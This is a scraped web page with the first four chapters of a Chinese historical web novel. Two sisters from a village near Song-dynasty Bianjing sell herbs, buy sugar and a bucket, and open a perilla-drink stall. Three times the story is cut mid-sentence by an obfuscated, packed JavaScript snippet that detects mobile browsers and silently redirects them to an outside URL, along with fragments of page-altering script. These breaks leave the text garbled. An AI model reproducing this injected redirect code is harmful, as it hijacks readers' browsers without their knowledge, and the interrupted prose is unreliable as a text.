《陆小娘食肆》 1. 送花神 芒种已至，百花凋零，民间举行祭祀花神的仪式，饯送花神归位。 距汴京城二十里处，上元村百姓忙完农活，便把新收的麦子做成粮食祭祀农神，祈求来年风调雨顺，五谷丰登。 村里有条通往后山的小路，两旁野草足有半人高，随风摇摆着。 路上有不少碎石子，陆琼只好提起裙摆下山，身后的陆萱则拎着竹篮朝她追来，身上衣襟乱了不少，还喘着气。 陆琼帮她理好衣裳，好笑道：“看你急的，乱了发髻还要重梳。” 前些年陆萱个子才到她腰间，没想到现在都跟肩膀齐平了，这时间也过得太快了，转眼几年又过去了。 都说汴京繁华，商贾云集，她这么久还没去过城内。先是还未适应宋朝生活，再是要贴补家用，除去日常花销根本攒不下钱。 可物价上涨，家中开销变大，日子逐渐捉襟见肘，怕是没几年就撑不下去。 不过她最近见进城摆摊的越来越多，看样子能挣不少钱？ 迎面走来一位妇人，粗眉大眼，拎着半扇猪肉朝她们打招呼：“陆小娘子，今儿怎么还没去花神庙呢，我家离姐儿早早就换新衣裳赶去送花神了。” “去采青梅了，萱儿方才也念叨着要去送花神呢。虞娘您提着猪肉可也是要去祭祀？” 虞娘点头，提起猪肉：“那你们忙去，到时见了我家离姐儿帮忙照看一下，回头给你们割多点肥肉。” 油价贵，陆琼家也买不起油，都是用肥猪肉来熬猪油，每回虞娘都会借机给她多割一些。听到虞娘这样说，她自然乐意：“多亏虞娘照顾了，照看离姐儿也是小事儿，虞娘莫担心。” 又想起虞娘是上元村的屠户，每日寅时便叫人把猪肉送往汴京城，想必知道不少城内的事。 陆琼便叫陆萱先回家去，她跟虞娘再说点事。 虞娘见她神秘兮兮，眼睛瞪得更大，努力压低声音：“你找我是要说什么？可是要借钱？” 陆琼哑然。虽说她刚穿来时，家里穷得响叮当，为了不饿死是跟跟虞娘借了些钱，但这钱早已还清。还有，她现在虽然不能大富大贵，解决一日三餐还是不成问题的，怎么到了虞娘这，开口就会是要借钱？ 不过也只是心里想想罢了。 她摇头笑道：“想问虞娘进城怎么样？我最近打算去摆个摊谋个生计，好攒些钱给萱儿做嫁妆。” 这话也不算是借口，陆琼对婚姻没有强烈的愿景，但陆萱的人生大事不能马虎。加上时下流行厚嫁，有些人就就是到钱庄借钱也要给女儿贴上丰厚的嫁妆，别人有的，她妹妹也必须有。 “这要看你做什么生意，”虞娘叹口气，“隔壁村也有进了城没回过的，人人都道他发达了，可我瞧着倒像是没挣着钱不敢回来。” 陆琼也明白这个理，能挣钱的还是少数，但她还是想尝试一下，跟虞娘再聊些家常就急忙赶回家。 芒种这日，除了安苗祭祀、送花神，还会用青梅煮酒，不是用酒来煮青梅，而是边喝酒边吃青梅。 陆琼不喝酒，只打算制成脆梅，既可以生吃也能做配菜，摘去青梅蒂，洗净沥干水便端进屋。 家当不多，墙下只陈设有盝顶圆角柜，方桌上摆着泛黄的铜镜，这还是她刚穿来时找工匠打磨的。 陆萱已经开始梳妆打扮，除了上元节、乞巧节，她最期待的便是送花神，可以换上最好看的衣裳，吃各种点心，还与二月花神节相呼应。 陆琼上前替她挽了双髻，插上几朵石榴花：“院里的夏枯草晒得差不多了，这几日就能送进城。” 陆萱看向铜镜，点头道：“明天就可以叫人来，不过近来药铺压价越发狠了，真气人。” 陆琼笑她眉头皱在一起像小老头，笑够了才道：“算了，我明天自己去就成。” 陆萱转过身来有些不解，眉头越发拧紧，问她为何。 进城的人是不少，可更多的是一辈子都未离开过村子的人，不提进城花销大，就是有心也走不开，连虞娘也是托人运猪肉，很少到汴京。 陆琼也知道她心里在想些什么，可目前除了进城去也没别的赚钱之道：“想去汴京摆摊卖饮子，就算挣不了大钱也能够温饱。” 她前世学的中药，毕业没多久便赶上自媒体时代，发布制作药膳的视频，后来转去做餐饮，开了家甜品店。现在她也想重操旧业，在汴京开食肆，没钱盘铺子只能先摆摊。 听人说现在城里流行卖熟水，熟水也相当于后世的奶茶饮料，是用花叶类药草果子熬制的，她这也勉强算是专业对口了。 陆萱当然是一万个不赞同，她们汴京无依无靠，遇上胡搅蛮缠之人又该怎么办：“阿姐还是留在这吧，若是钱不够，我们就多采药去卖。” 陆琼笑道：“你方才不还说人压价狠。” 陆萱小声嚷嚷：“这不一样。” 见她眉间染上愁绪，陆琼心下也一沉，按下她肩膀转移话题：“你就别想这么多，还去不去花神庙了？” 还在忧心的陆萱听到这话便惊呼，立即手忙脚乱把祭祀要用的石榴花、香烛带上，还不忘催着陆琼走快些。 花神庙在上元村几里外，供奉着十二月令花神。五月正是石榴花盛开的季节，繁华鲜艳似火，民间认为红色能辟邪，便将石榴花冠以五月花神之称号。 此时庙前已有不少女子聚在一起谈话，手里无一不是拿着石榴花的，还有的小娘子身上穿着石榴裙，好生娇艳。 陆琼取来一根彩线系在庙前树的枝头上，微风拂过，满树绣带飘起，心情也跟着愉悦几分。 旁的娘子走上前来：“琼姐儿今年可有十八了？” 来人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773938|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何六娘，最爱给人说亲，与另一媒妇王婆子向来不对付。她这些年都避着她们走，没想到今儿还是撞上了 陆琼只能笑道：“来年便是十八。” 何六娘立即拉着她的手，问她杨家小郎君如何，年仅二十，家里有三十亩地，一头牛，上边有两个姊妹，平日靠打柴为生，还说对陆琼来说是门尚好的亲事。 陆琼笑着回绝。父母之命媒妁之言，可她无父无母，何六娘也没法强逼她答应，只能摇头离开。 时辰一到，准备祭祀，众人将石榴花的花瓣抛在空中，落到地上，寓意送花神归位。回去路上还能见到地上残留的石榴花瓣，零零散散落在四处。 陆琼把晾干的青梅端上桌，用刀挨个划口子，最后撒上粗盐，充分拌匀后用盆盖好，次日便会析出青梅汁。 每年她都会做上脆梅，酸酸甜甜的，口感也好极了，现在就等它再腌上几日。 家里还留了些石榴花，正好可以做石榴花炒肉。她除去花瓣、花蕊、花蒂后，留下六角花萼，端进灶房撒上粗盐备用。 灶台是用三块石板砌成的，旁边还堆了些干柴，这是她们上山采药顺手打的，一眼望去粗略估计还能用上半个月，暂且不用愁。 陆萱蹲在灶头前加柴，用打火石点着干稻草，咻一下丢进去，火便慢慢起了。 她抬头道：“阿姐，你要是想去汴京，就带上我一起。” 陆琼往锅里加水，打趣她：“那明日不许起晚，别到时又说不去了。” 陆萱挺直腰板：“肯定起得来。” 瞧她一副小大人模样，陆琼也笑：“到时挣钱了就到城里盘下一间铺子，给你买大宅子住。” 听着话，陆萱心里叹气，继续往灶口加柴。她才没把阿姐的话当真，汴京虽大，可地位高贵的人如此多，又怎么会有她们二人的藏身之处，不过是痴人说梦罢了。 这次去汴京，她定要看着阿姐，莫叫她败光家底了。方才问过阿离姐，汴京城里到处都是花钱的地儿，勾栏瓦舍、茶坊酒肆，稍不留神，钱袋里的钱就没了。 灶火渐大，锅壁温度升高，发出滋啦响声。 陆琼把最后一小块腊肉取来，切成薄片，葱、蒜也切成末装在碗里，在锅中倒入些许猪油，把腊肉放进去煸香，加上调料与石榴花大炒就能出锅。 香味四溢，勾得陆萱口水直流，迫不及待拿碗来，夹一块肉，肥瘦相间，咸香可口，嚼劲十足。她再尝一口石榴花，眼睛瞬间亮了，味道虽淡，沾了肉香也别有滋味，忍不住又下了大半碗饭。 阿姐虽然不聪明，但是做的菜都好吃极了！ 陆琼见她吃得欢，也跟着笑，盛了一勺料汁浇在饭上，金黄透亮，也跟着食欲大增。 当夜她们便商讨进城的事，决定次日一早入城，再聊几句便灭灯早早睡下。 2. 龙津桥 天色微明，陆琼便到院子收好晒干的夏枯草，装了足足有两筐，搁到墙角放好，转身便去灶房起火烧饭。 早食吃的是稀粥，她还顺手带上几个鸡蛋在路上吃，毕竟牛车慢，要不是带着东西她就走路去了。 进城的车不少，一趟共要付十文，陆琼也爽快给了，倒是陆萱心疼钱。 陆琼见状安慰她：“这钱是必须要花的，省不了，日后进城摆摊了还不是天天要花二十文。” 不说这话还好，一解释陆萱更心疼，想到每日要花钱在路上，她就难受。 沿着乡道行驶一段路便见到高高城墙。南熏门被围得水泄不通，车夫把牛车停在城外等人来卸货，她们也从车上跳下来。 陆琼也是这回出门才知道，百姓跨州过府要去官府申请“公验”，商□□送货物还需交税，像她们这种普通百姓，则可以随意进出外城，也怪不得人人都说进城好。 随后她们也加入过城门的队伍，守门管例行检查，陆琼向他解释进城目的并给“过税”，便可通过城门。 陆琼自知是见过世面的，但在上元村待久了，来到汴京还是被这繁华盛景惊艳到。 陆萱就更不用说，眼睛瞪大，脸上写满了震撼二字，说话都不利索：“阿姐，这也太大了……这屋子好高，那座桥都比我们家院子宽。” 她这话可不夸张，这桥上两边摆满了摊位，中间还留着宽敞的大道，就是车队通行也能畅通无阻。 汴京人口稠密，水运便利，手工业和农业高度发达，城内商作也数不胜数，果子行、纱行、书行、铺翠作、漆作、香料行…… 各式各样的摊位也聚了不少人，若不是还要卖药材，陆琼也想停下去凑热闹。 到了北巷便见着气派的建筑，外头金楠木高门上挂了大牌匾，用大漆描绘出“济世堂”三个大字。 与外观不同内里简洁隽秀，入门便能闻到一股浓郁草药香，安放着紫檀木雕花长柜，身穿青衣的学徒正在拨弄算盘记录账本，郎中则坐在右方诊桌前为患者把脉。 “右寸细而无力，肺经气分太虚……” 陆琼径直走向学徒，问他夏枯草价钱如何。 学徒放下手中的笔，走过来拨弄筐里的夏枯草，拿出一根看成色：“小娘子，今儿这夏枯草瞧着真不错，能多给一成。” 最终济世堂的学徒给了十一文一斤的价钱。陆琼背的竹筐里差不多有八斤，陆萱那筐也有六斤多，一共卖了一百六十五文。 并不算多，毕竟汴京人一日收入便有近百文，而她们这些药就采了好几日，不过也算是有了摆摊的起步资金。 这么想着，她心里也有些美，说不准盘铺子的事很快也能有着落。 城内最受欢迎的熟水是紫苏饮，就算是新来摆摊也能有不少食客光顾，毕竟夏日饮紫苏可是潮流，若是味道好那还能留住不少客人。 陆琼也打算先卖紫苏饮，紫苏山脚下有现成的，能省不少钱，其余的糖霜、甘草、陈皮、香橼就得到店铺里买，正好今儿到汴京一并买了。 出了济世堂，她还跟人打听价钱低的药铺，把剩下的钱袋藏到里衣，便跟着陆萱穿梭在巷子里。 这药铺偏小还夹在两间成衣铺中，老旧的木式牌匾写着“杏林药铺”，内里只设有一个台柜，老人家坐在其间手里捧着本书，银眉鹤发，精神矍铄。 见人来了，神气得很，头也不抬一下。 陆琼以为他是听不见：“劳烦老人家称四两陈皮、六两甘草。” 一两陈皮一两金，越老越值钱。不过她只买普通陈皮，一两不过三文钱，甘草也只要一文钱。药铺平时收药都是成斤成斤收，除去加工费还能赚不少。 老叟这才放下书来，到药柜娴熟拉出一抽屉，左手抓了几把泛黑陈皮到戥子称，讲究快准狠，一抓便是四两，不多不少。 陆琼心里连连赞叹，还没看清呢这药就抓好了，老人家这功底也太好了，没个十几年肯定摸不到功夫。 他抽出两张药纸叠放在桌上，陈皮都倒在上头，撂成方形，拉住药纸一角向上折，左边的角也往右叠，往下一抽成了漏斗状，很快就折成药包。 甘草也如法炮制，最后用细麻绳绑好，都摆在一起：“二十文。” 这是附上了药纸钱、麻绳钱，陆琼不由得摇头，汴京处处都要花钱，也只能忍痛掏出钱袋。 朱雀门往西通向新门瓦子，过龙津桥便是街巷中心，虽比不得位居全城中心的州桥夜市，如今也是人满为患。 街巷两边赵家瓠羹店、钱家酥蜜店、孙家京果铺、李家豆儿水，香味四溢。 陆萱也开始发愁，阿姐见到铺子就走不动，为了香饮子一下就花去几十文，要是再买上一斤糖霜，她们这钱就快要没了。 可家中柴米油盐酱醋茶哪个不用钱？要是由着阿姐这样胡闹下去，改日就要喝西北风了。 那厢陆琼已经进了杂货铺，铺里商品琳琅满目，从碗碟器皿到五谷杂粮，应有尽有。 宋时制糖工艺已成熟，可糖还是不便宜，熬一锅水也不知道要多少糖，如今钱少自然不能买多。陆琼手中还有一百多文，预留出回程的路钱，用余下去买糖、香橼也是足够。 好容易才找到“糖霜”，这糖霜类似白糖，只不过含有杂质，叫土白糖更为合适。也有成块的“冰糖”，比糖霜要贵一些，是在糖霜的基础上加了几道工艺做成的，口感也更粘稠，更清甜。 紫苏饮当用冰糖为好，若是挣了钱她也想把糖霜换成冰糖，但眼下也只能凑合着用。 陆琼便跟掌柜问价：“这价钱怎么样？” 掌柜放下算盘笑道：“三十文一斤，小娘子可是要一斤？” 陆萱刚进门就听见这话，脚底踉跄了下，这可是三十文呐，怕不是金子吧。她稳住脚跟想插一嘴，可她阿姐却先回话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773939|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那蜜糖多少钱一斤？” 掌柜道：“二十文，它虽比糖霜价钱低点，可味道没有糖霜好......” 陆萱这才松口气，原来她阿姐也是勤俭持家的，有了先前的对比，二十文也勉强能接受。 勤俭持家陆琼的确犹豫了，这蜜糖确实便宜点，把糖霜换成蜜糖也不是不行，可蜜糖煮热了会发酸，味道定会差了些。 她抬了头，拍板定音：“成，就要一斤糖霜。” 这掌柜的还想再劝：“这蜜糖不行......什么？糖霜！好咧，这就给您用陶罐装好，这罐子是搭在一起的，不要钱哩。” 这年头的陶罐都是实打实的，买一个也要好几文，糖用完了还能装些别的，不算吃亏。不过就算要钱，陆琼也乐意花这个钱，毕竟日后用处多着呢。 想到这，她也掏出钱袋来，麻利数出三十个铜板来：“拿好了。” 陆萱来不及劝，掌柜也来不及拿糖罐子，就被塞了一手铜板，头一回见这样给钱大方的客人，乐开了花。 杂货铺往里，摆了不少木器，陆琼随手挑个桶瞧。 掌柜也跟在尾边打转，可不能放过这个客人，合手谄媚着：“客官可是要买桶？这可是好几十年老手打出的桶，用的也是上好的杉木。” 陆琼摸了摸木桶外壁，可太光滑了，还是纯手工打的，她可太喜欢了，问掌柜多少钱，掌柜说二十五文。怕她不买，还一个劲夸，说这桶大，能装不少东西，街上卖货郎都上他这买的桶。 外头有的卖货郎也是用这般大的桶，比家中打水的木桶大上三倍，且上头还配了个圆木盖，还挺值。 陆琼敲不定主意，问了一旁当摆设的妹妹：“萱儿觉得这桶值吗？” 陆萱也只能赞同：“都依阿姐的。” 见状陆琼便掏钱了，只是讲到了二十文一个。而掌柜拉扯几句也应下，毕竟这价钱是虚高的，他不仅没亏还赚不少，笑眯眯目送她们离开：“两位客官慢走！” 出了杂货铺，陆琼身上的钱袋可算轻了不少。网购时代她花钱就没个轻重，现下则是想把钱快些花出去，没想到有钱也成了负担。 可花钱是真的叫人快乐，后来还到水果子坊花五文买三五个香橼。 这香橼与“柠檬”相似，只不过香橼的果肉少，味道要更酸，直接食用不太好吃，常被拿来入药，放一点到紫苏饮里就能添些酸味，她觉得还是很划得来的。 一路走回龙津桥，两旁摆的大多是吃食摊，炙肉、干脯、义塘甜瓜、沙糖菉豆、水晶皂儿、黄冷团子、细料馉饳儿…… 陆琼啧啧两声，要是她能在这摆摊多好，都是吃食，到时就是一条龙美食桥，客人饿了去别家买饼吃，渴了就上她这买上一碗紫苏饮，酸甜可口，只是想想便觉得美哉！ 又见前边有卖绿豆水的摊子，她便带着陆萱往前走，算是打探熟水摆摊的门道。 3. 街道司 宋朝不仅坊市划分不严，还不设宵禁，这街上铺子全挂了灯笼，就是夜里也灯火通明。 酒楼雕栏玉砌，顶端是琉璃绿瓦，甚是巍峨壮观。东边包厢客人从窗边探出头来，应当是闲情雅致的文人墨客，正负手吟诗作赋。 绿豆水的摊子支了一个草棚，大娘揭开盖来，木勺盛起一碗来，早早放冷如今还扑了一股凉意，带走了不少暑气。 见大娘身旁堆了些碗，陆琼斟酌言语道：“婶子这里能装多少碗绿豆水？” 大娘脸上笑出褶子：“装满了能有六七十碗，我瞧你这桶跟我这差不多大，难不成你也要卖绿豆水？” 怕她误以为是要争生意，陆琼忙摆手：“并非如此，我是想到龙津桥附近摆摊，就是不知怎的上手。” 大娘卖绿豆水有数年，见过不少同她一般要摆摊的，往往没多久便不来了，自以为这位小娘子也是这般，更何况汴京人多，倒也不怕她抢客人。 “那你得先去‘街道司’登记，不然日后叫‘巡吏’见了，可是要罚钱的。” 这巡吏应当就是“城.管”了。见大娘这么实诚，陆琼赶忙向她道谢，还数出六个铜板跟她要了两碗清凉绿豆水。 大娘的桶上挂了个长钱筒，丁零当啷手心的铜板全放下去，没停歇便拿起木勺盛绿豆水。若是天冷，则会把汤瓶带出来，在下边支一个火筴，从炭篮里取炭放进去烧，就能叫茶饮子不凉掉。 “来，小娘子们拿好喽！”大娘捧了一碗给陆琼，接着又重新盛了一碗给陆萱。 是不错的，入口清甜，放的应当是糖霜，带着丝丝凉意，益气还清暑。陆琼尝了几口就没了，舔了舔嘴唇，还意犹味尽，想再来一碗：“萱儿......” 经这几回，陆萱已经怕阿姐唤人了，这下叫她定是又要花钱了，阿离姐说的不错，汴京城到处是花钱的地儿。 她叹一口气放下碗来：“阿姐别说了，如今东西也买齐了，咱好快些赶回去。” 陆琼：“……” 为何她总觉得陆萱在嫌弃她？陆琼砸吧嘴，只好狠心离开摊子。 想起家里粗盐不多，只够用几天，陆萱便叫阿姐在原地等着，自己去买“私盐”，她可不敢再叫陆琼管钱了。 虽说私盐是不被朝廷准许的，但还是有贩子铤而走险，毕竟贩盐是比卖茶叶、卖丝绸还挣钱的行当。站在百姓角度也是利好的，官盐口感差，价钱还高，而私盐价钱比官盐低，二十文就能买一斤。就是陆琼也时常感慨，幸好有私盐，不然她们家这些年也用不起盐。 附近是说书的摊子，说书先生站在低矮木台子前，左手拿了乌醒木砰的一声拍在台上：“……吕岩手里握着一把长枪，眼见那孽畜满嘴獠牙就要扑上来，他浑身绷紧，一鼓作气直直往那孽畜身上刺。欲知后事如何，请听下回分解。” “这就完了？还没说完呢。” “刺中了没？” “每回都在这种关键时刻停下，可真叫人揪心。” “这话说的，不把你魂勾起来，你下回还会来听？” 围观的一行人渐渐散开，陆琼也被挤到小巷边走，地上青砖有一滩水，她低头小心避让水渍，却没发现前边有人便直直撞在别人身上，她惊呼一声。 抬头却见那人剑眉星目，颜如冠玉，一袭靛蓝对襟长衫垂在身上，不紧不慢朝她道歉：“是在下失礼，冒犯了小娘子。” 陆琼被这相貌惊到，听了他的话才回过神来，摇摇头：“是我冲撞了小郎君才对，给你赔个不是。” 见他只是点头，陆琼也从他身后边绕过去，很快便把此事抛之脑后。 那厢陆萱买完盐回来，没在原地见着她阿姐，一时着急正要去找人，幸好在路上碰见了。她也没追究陆琼因为何事耽误了，拉着人往外走：“快晌午了，阿姐可要买些干粮，路上饿了可以吃。” 天热没多大胃口，何况陆琼这会儿刚吃完东西，便摆摆手道：“如今不太饿，待回去弄些吃的就成，我们不能这般奢侈，日后也要省点用钱。” 陆萱心里叹气。阿姐今日药钱、糖钱、桶钱就花了七十文，给钱倒是爽快麻利。如今一个干粮也才几个铜板就叫她心疼，真是越发难懂了。 出城前两人还不忘去街道司登记摊贩信息，交了二十文钱，换来一张印有街道司官印的“凭证”，相当是“经营许可证”，这凭证还只管一个月，后边还得再去续钱。 在汴京真是处处要交税，摆摊税、入城税，就连房产买卖也有房产契税。 陆琼还跟人打听盘铺子的事，这城中好地方的铺子值千两，每月租金十两，偏小的铺子一月也要三两银子。像济世堂这般大小的铺子就要十来两，而杏林馆则二两足矣。 凭她本事还不能盘下一个铺子，还是先把茶饮摊子支愣起来，踏踏实实过日子罢。 汴京本是干旱之地，前朝建造通济渠引入“汴水”，被记载为“当天下之要，总舟车之繁，控河朔之咽喉，通淮湖之运漕”。① 汴河两岸是热闹的街巷，虹桥左右商铺林立，车水马龙。而桥西贴着城墙边座落了一家“税务司”，税官正坐在堂前，处理公务。 谢洵正往税务司赶，却见方才无意撞到的小娘子从对面的街道司出来，她跟在另一人身后，哭丧着脸，实在是有趣。 跟在身后的青弦疑惑，他家小郎君怎么突然笑了，怕不是前些日去城外累坏脑子了？变成痴呆了。 那可不行，要是夫人怪罪下来，他也担当不起，待会路上就去济世堂给小郎君抓一副药罢，只是这症状是肾虚还是脾虚呢。 谢洵把心思收回，转身进了税务司。 近来朝廷派出的商队带回了不少新奇的事物，其中一样便是“木棉”种子，据说能长出一种叫棉的东西来，采摘后织成棉衣还可以在天冷时御寒。 谢洵听完就对此起了兴致，立刻托关系弄来不少种子，只可惜现下已经过了播种的时节，要等来年才能种植。今日前来也是为了此事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773940|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 税务司内设案桌在堂前正中，一旁案几上点了檀香，缕缕丝烟透过香炉的空隙在空中缠绕，随后消散，归于无寂。 堂前男子头戴官帽，执一笔在纸上书写，一旁小吏正耐心磨墨，淡淡墨香与檀香牵绕堂前，叫人闻了觉得舒心。 这税官也是与谢洵相识的，见他来了立刻起身行礼：“谢郎前来所谓何事？” 谢洵朝他回礼才道：“我从杭州带回一批新的货物，现下货物还在运回的路上，如今前来是为了提早备案交纳赋税，还望何大人行个方便。” 进城的商人拿了“引子”到当地税务司登记，所售商品还能减免不少赋税，这是朝廷惠民的好政策，税官自是应下这事。 谢洵与税官寒暄几句便从税务司出来，忽地定在街上青砖一动不动。 身后的青弦没注意脚下，一头撞了上去，哎哟一声：“小郎君怎么停下了……” 谢洵拧紧眉，颇为嫌弃地跟他拉了段距离：“若是有眼疾该去找郎中，而不是撞上来。” 青弦边揉头边在背后小声嘀咕：“方才那小娘子撞了你可不是这么说的……怎么到了我这就被训了。” 谢洵背着手，面无表情睨他一眼。 青弦被这一看，也知道小郎君有些不耐了，立刻提着心吊着胆，不敢再作祟，只想起来一事：“夫人先前叫人传话，说小郎君再不成亲，她便在家中设宴，请全城世家大族的小娘子来，为小郎君挑选佳人……” 左右还是谈他的亲事，自谢洵弱冠以来，母亲无一日不是在操心这事，这次去杭州也叫他有了喘息的间隙，如今更是没耐心听完就甩开衣摆，迈着步子离开。 青弦望着他的背影，喃喃道：“小郎君怎么就走了……夫人可是说了，要把他关在宅里直到亲事有着落了，如今小郎君回去可是自投罗网啊……唉！” “亲事？” 陆琼刚从汴京回来，路上便遇见媒妇王婆子，拉着她的手谈心。先是疏解她这些年照顾妹妹的不易，再是到了适嫁之龄，该寻一门好的亲事。还说沈家小郎君不错，年仅二十已中举人，如今正在汴京城的学堂讲学，教的是什么书来着？ 陆琼接上话：“四书五经？” “好像是。但这不是要事，重要的是小娘子怎般想的？再过些年，可就找不着这般条件好的，要知道以沈小郎的学识地位，城中不少女子也倾心与他。”王婆子苦口婆心劝道。 陆琼被连着催婚两次，属实有些无奈，只好耐心拒绝王婆子。 见她油盐不进，王婆子便不再费口舌，终身大事定然马虎不得，她缓了缓：“可我还要回去交差，小娘子要不再想一下？” 陆琼也知道她是拿钱办事，自是不好为难人，只说她现下不打算考虑这事，叫沈家人另选良人。 临走前给王婆子五个铜板：“如实说便是，莫要添油加醋，平生是非。” 王婆子把铜板塞进裤腰带，告别她：“陆小娘放宽心，保准替你带到话。” 4. 紫苏饮 惦记着进城出摊的事，陆琼天还没亮就醒了，摸黑到灶房起火，在甄上摆了点红薯、两个鸡蛋当作早点。 身上穿了薄薄的褂子，风一吹就凉飕飕的，她又钻进睡房里翻找衣物。她衣裳都是偏短窄的，袖口也紧。找到一件尚好的绿罗窄袖穿在身上，把衣衫用勒帛束好，梳了双垂鬟，垂在头的两侧，看起来利落不碍事。 出来时，便见陆萱也起了，正蹲在井边用刷牙子蘸了点青盐制成的牙粉洗漱，两眼还微眯着，像是没睡醒。 陆琼见了也心疼，虽说这时的人十几岁便能当家，可终究是在长身体的孩子。要是她们住在城中，就不必贪黑起早去赶路了。 既然打定主意要在汴京谋生，不如今日就去找牙人赁房。恰好这会儿锅里的红薯也熟了，散发出淡淡香味，陆琼到灶房用筷子插了根红薯，拿给昏昏欲睡的陆萱：“你就在这坐着，阿姐先去做饮子。” 陆萱小脑瓜子像小鸡啄米一般频频点头，反应过来后又摇头，叫人看了喜庆：“我要跟阿姐一起去做。” 陆琼也笑出声：“好，跟阿姐一起。” 她先把紫苏叶泡水养着，洗净后沥干水放入簸箕备用，早先的药包也一个个拆开，都一齐搁在灶台上。 陆萱往锅里舀了些水，就要溢出来：“阿姐，是不是要开两口锅，这锅不够用。” 陆琼手里拿了甘草片，见水快溢出来也皱眉，可另一灶并不常用估计堵了不少灰，眼下也没时间去通烟道：“无事，分两次煮，时间应当够用。” 先撒半簸箕紫苏叶，再放陈皮、甘草片、半罐子糖霜，用长匕搅拌几下，下边灶口也不停加柴，锅中水多，烧了好一会儿才出现鱼眼泡儿，小声咕噜响，这是还未煮沸，称之为“水嫩”，待水面的泡儿如鼓浪翻滚时就可减柴了。 淡淡的辛香扑鼻而来，还有点像薄荷味儿，清凉醒神。 大半锅水太重了，两人合力也难抬，陆萱在桶上放上滤布，一手抓着一个角，形成一个漏斗。 陆琼则用木勺一点点把饮子舀出来，倒入桶时放慢动作，不然这水会溅到身上，容易烫起泡。 有了经验，第二锅也很快煮好了。 陆琼也把香橼洗好，在俎上切成薄片，全放杵臼里，左手扶着陶臼，右手握紧石锤榨出香橼汁来，酸味也在四处散开来。 把小半碗香橼汁倒进饮子里，瞬间从茶色变成玫粉色，若是盛在琉璃盏里定是好看极了。 陆琼也舀出一碗来，尝了尝，入嘴清爽酸甜，末了口齿留香，看来她这手艺还没退步。 陆萱也跟着尝了一下，温润的饮子流淌喉间，叫她两眼发光：“阿姐，这饮子可真不错，可以开一家饭馆了。” 她原先以为阿姐是在折腾，可今儿尝过这紫苏饮后，便觉得卖饮子这事可行。只不过要挣大钱还差了些，毕竟城里有手艺的人不只阿姐一人，何况有些铺子还有祖传秘方，她们可是比不过。 也只能是卖个饮子，糊糊口罢了。 一切都备好，陆琼在竹筐里装上十个竹筒子，陆萱那也带着个小木盆，到时可去河边取水来洗用过的竹筒子。 两人各握一头竹竿，担起木桶就去赶路，虽盖了木板，还是要稳着步子提防饮子洒出来。 做好这些，天才蒙蒙亮，给了车夫十个铜板就进城去。 “昨日说到，吕小郎遇了孽畜，险些遇害，还是用长枪才死里逃生……吕小朗不记得自己家在何处，只记得‘吕岩’这个名字，就跟人进了城，谁知两袖空空，身上没有一个铜板，连馒头都买不起……” 尽是些市井人家，那日的说书先生还站在榕树下给人讲书，围了不少人。 陆琼的摊位摆在龙津桥桥东，夹在豆腐摊和胡饼摊之间。 卖豆腐的是位年轻娘子，身形纤细，下穿合围裙，腰间悬挂淡青绣囊，正掀开一层纱布，露出里边水嫩的豆腐来。 陆琼卸下背篓，看着人家冒热气的豆腐，吞了下口水，要是加糖做成豆腐花也是好吃到流口水。 那娘子刚开摊，就有人走上前来买：“金娘，你今儿怎么迟来了？等你好些时候了，我小儿闹着要吃你家‘小宰羊’哩！” 时下百姓习惯把豆腐叫“小宰羊”，认为豆腐的营养价值可与羊肉相提并论。且这时百姓比起前朝更好食素，水嫩豆腐自是受人欢迎，可做豆腐的工艺繁杂，陆琼也没这手艺活，也没磨豆腐的石磨，只能干羡慕。 金娘用菜刀切下一块方正豆腐，不好意思笑：“我家郎君昨日去替人搬家了，要过些日才回来，今早没人帮着推磨，费了些时候。” 那婶子也接下豆腐装到竹篮里，打趣她：“那金娘明日可记得起早了，待你家郎君回来叫他替你出摊。” 这厢陆琼也摆好摊子，拿上盆就往河边走。龙津桥附近有石阶，走下去有块平坦的地面，不少妇人蹲在河边捣衣，撒上皂荚，用木棒拍打衣裳，你一言我一语，捣衣声也此起彼伏。 蔡河河水清澈，水流不快，游船经过激起阵阵涟漪。陆琼提起裙摆，俯身蹲在石砖上，逆着水流便装了不少水。 远处传来吆喝声，她起身望去，成堆货物摆在岸上，纤夫把货物拉上船，还有漕船停泊卸货，稍小客船也接连离岸，这便是汴京的埠头，水运极为便利。 捣衣妇人的包髻上插了花瓶簪，见她站起来有些突兀：“小娘子可是初次进城，没见过这么多船？” 陆琼点头，就是影视剧里也没这般壮观，指了前头的货船：“边上最大的船装的是什么啊？” 妇人顺着她的指尖望去，了然说道：“那是城北谢家的船，堪比官府的漕船，运的当是别处带回的货物。谢家祖上是开染坊的，积了不少钱财，如今汴京不少成商铺都是他们家的。还开了芸香楼，那可是汴京最大的酒楼，整日人满为 